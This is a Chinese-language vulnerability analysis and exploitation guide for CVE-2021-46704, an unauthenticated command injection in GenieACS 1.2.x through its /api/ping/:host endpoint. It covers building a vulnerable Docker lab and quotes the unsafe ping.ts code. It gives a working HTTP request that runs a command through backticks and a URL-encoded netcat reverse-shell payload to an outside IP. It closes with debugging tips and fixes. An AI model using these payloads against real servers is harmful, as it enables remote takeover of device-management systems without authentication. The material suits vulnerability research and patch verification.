GenieACS CVE-2021-46704认证前RCE漏洞分析
字数 916 2025-08-26 22:11:34
GenieACS CVE-2021-46704认证前RCE漏洞分析与利用指南
1. 漏洞概述
CVE编号: CVE-2021-46704
影响版本: GenieACS 1.2.x before 1.2.8
漏洞类型: 未认证的命令注入漏洞
CVSS评分: 9.8 (Critical)
漏洞位置: lib/ui/api.ts和lib/ping.ts
漏洞原因: 输入验证不足+授权检查缺失
2. 环境搭建
2.1 使用Docker搭建漏洞环境
推荐使用1.2.0版本进行漏洞复现:
cd /opt && git clone https://github.com/DrumSergio/GenieACS-Docker && cd GenieACS-Docker
sudo docker pull drumsergio/genieacs:1.2.0
sudo docker-compose up -d
重要配置项:
- 需要修改容器中
/opt/genieacs/lib/config.ts文件,将mongo默认地址改为实际MongoDB的IP地址 - 建议额外开放9000-9003端口用于调试
2.2 环境验证
搭建完成后,访问3000端口应能看到登录界面(1.2.0版本界面不显示版本号)
3. 漏洞分析
3.1 漏洞调用链
GET请求 -> /api/ping/:host -> lib/ui/api.ts -> lib/ping.ts -> child_process.exec()
3.2 关键代码分析
lib/ping.ts中的漏洞代码:
export function ping(host: string, callback: (err: Error, res?: PingResult, stdout?: string) => void): void {
let cmd: string;
switch (platform()) {
case "linux":
cmd = `ping -w 1 -i 0.2 -c 3 ${host}`; // 直接拼接用户输入
break;
case "freebsd":
cmd = `ping -t 1 -c 3 ${host}`; // 直接拼接用户输入
break;
default:
return callback(new Error("Platform not supported"));
}
exec(cmd, (err, stdout) => {...}); // 执行系统命令
}
lib/ui/api.ts中的路由定义:
router.get("/ping/:host", async (ctx) => {
return new Promise((resolve) => {
ping(ctx.params.host, (err, parsed) => {...}); // 直接传递用户输入
});
});
3.3 漏洞利用条件
- 未认证即可访问API接口
- 系统安装了ping命令
- 服务以足够权限运行(默认以genieacs用户运行)
4. 漏洞复现
4.1 基本利用
发送以下HTTP请求即可执行命令:
GET /api/ping/`id>%2ftmp%2faaaaa` HTTP/1.1
Host: target:3000
Accept: application/json, text/*
4.2 结果验证
在目标服务器上检查命令执行结果:
cat /tmp/aaaaa
# 应显示: uid=999(genieacs) gid=999(genieacs) groups=999(genieacs)
4.3 进阶利用
反弹Shell示例(URL编码后):
/api/ping/`nc%20-e%20%2fbin%2fsh%20192.168.1.100%204444`
5. 调试技巧
5.1 调试环境配置
- 修改
/opt/genieacs/dist/bin/genieacs-ui文件头部:
#!/usr/bin/env node --inspect-brk=0.0.0.0:9000
- 创建调试脚本
/opt/genieacs/debug.sh:
npm run build
ps -ef | grep "node /opt/genieacs/dist/bin/genieacs-ui" | grep -v "/usr/local" | grep -v "grep" | awk '{print$2}' | xargs kill -9
5.2 日志调试法
修改lib/logger.ts添加调试函数:
export function mylog(Name, Value): void {
error({message: "------0------" + Name + "-------0------"});
error({message: Value});
error({message: "------1------" + Name + "-------1------"});
}
查看日志:
tail -f /var/log/genieacs/genieacs-ui.log
6. 修复方案
- 升级到GenieACS 1.2.8或更高版本
- 手动修复方案:
- 对host参数进行严格过滤
- 添加认证中间件
- 使用execFile替代exec
7. 参考链接
- 官方修复提交: GitHub Commit
- CVE详细描述: NVD Entry
- TR-069协议文档: CWMP Specification